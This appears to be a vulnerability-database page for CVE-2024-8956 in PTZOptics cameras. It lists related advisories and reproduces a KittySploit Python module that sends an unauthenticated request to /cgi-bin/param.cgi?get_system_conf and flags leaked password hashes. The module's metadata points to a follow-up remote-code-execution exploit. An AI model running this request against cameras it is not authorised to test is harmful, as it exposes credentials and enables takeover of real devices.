PTZOptics Camera - Unauth System Config / Password Leak (CVE-2024-8956)
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| CVE-2024-8957 | 17 Sep 202400:00 | – | attackerkb | |
| CVE-2024-8956 | 17 Sep 202400:00 | – | attackerkb | |
| The vulnerability of the microprogrammed software in PTZOptics PT30X-SDI/NDI webcams arises from incorrect authentication used in the operating system’s command sequence. This allows a hacker to execute arbitrary code. | 6 Nov 202400:00 | – | bdu_fstec | |
| CVE-2024-8956 | 17 Sep 202423:08 | – | circl | |
| PTZOptics PT30X-SDI/NDI Cameras Authentication Bypass Vulnerability | 4 Nov 202400:00 | – | cisa_kev | |
| CISA Adds Two Known Exploited Vulnerabilities to Catalog | 4 Nov 202412:00 | – | cisa | |
| PTZOptics PT30X-SDI/NDI-xx 安全漏洞 | 17 Sep 202400:00 | – | cnnvd | |
| CVE-2024-8956 | 17 Sep 202419:59 | – | cve | |
| CVE-2024-8956 PTZOptics NDI and SDI Cameras /cgi-bin/param.cgi Insufficient Authentication | 17 Sep 202419:59 | – | cvelist | |
| PTZOptics and Other Pan-Tilt-Zoom Cameras | 12 Jun 202506:00 | – | ics |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PTZOptics camera insufficient auth leaking password hash (CVE-2024-8956 / CVE-2024-8957)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'PTZOptics Camera - Unauth System Config / Password Leak (CVE-2024-8956)',
'description': (
'PTZOptics cameras expose /cgi-bin/param.cgi?get_system_conf without authentication, '
'leaking userpasswd hashes (CVE-2024-8956). Presence also indicates the related '
'OS command injection CVE-2024-8957.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2024', 'ptzoptics', 'camera', 'iot',
'exposure', 'unauth', 'kev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/linux/http/ptzoptics_cve_2024_8957_rce'],
},
},
'references': [
'https://ptzoptics.com/known-vulnerabilities-and-fixes/',
'https://vulncheck.com/advisories/ptzoptics-insufficient-auth',
'https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-10',
'https://nvd.nist.gov/vuln/detail/CVE-2024-8956',
],
'cve': 'CVE-2024-8956',
}
def run(self):
path = '/cgi-bin/param.cgi?get_system_conf'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ''
if re.search(r'userpasswd="[a-f0-9]+"', body):
self.set_info(
severity='critical',
reason='PTZOptics CVE-2024-8956 unauthenticated password hash disclosure',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.1
EPSS0.58787
SSVC